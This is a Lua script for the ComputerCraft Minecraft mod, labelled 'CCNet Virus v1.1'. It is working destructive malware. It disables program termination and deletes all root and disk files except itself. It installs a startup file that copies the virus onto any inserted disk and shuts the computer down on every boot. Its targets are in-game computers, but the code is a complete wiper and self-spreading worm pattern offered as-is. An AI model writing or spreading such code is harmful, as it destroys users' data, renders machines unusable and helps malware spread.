os.pullEvent = os.pullEventRaw
print("Welcome to CCNet Virus v1.1!")

if #fs.list("/") > 0 then
    for i,file in ipairs(fs.list("/")) do
        if file ~= "disk" and file ~= "rom" and file ~= shell.getRunningProgram() then
            fs.delete(file)
            print("Deleting "..file.."...")
        end
    end

    fs.copy(shell.getRunningProgram(), "CCNetV")

    if fs.exists("disk") then
        for j,diskfile in ipairs(fs.list("/disk/")) do
            fs.delete("disk/"..diskfile)
            print("Deleting disk/"..diskfile.."...")
        end
    end

    startup = fs.open("startup", "w")
    startup.writeLine('if fs.exists("disk") and fs.exists("CCNetV") then')
    startup.writeLine(' fs.delete("disk/startup")')
    startup.writeLine(' fs.copy("CCNetV", "disk/startup")')
    startup.writeLine('end')
    startup.writeLine('os.shutdown()')
    startup.close()

    nodisk = fs.open(".nodisk", "w")
    nodisk.write("")
    nodisk.close()

    print("Thank you for your patronage!")
    print("This monitor will never display again in 10 seconds.")
    os.sleep(10)
    os.shutdown()
end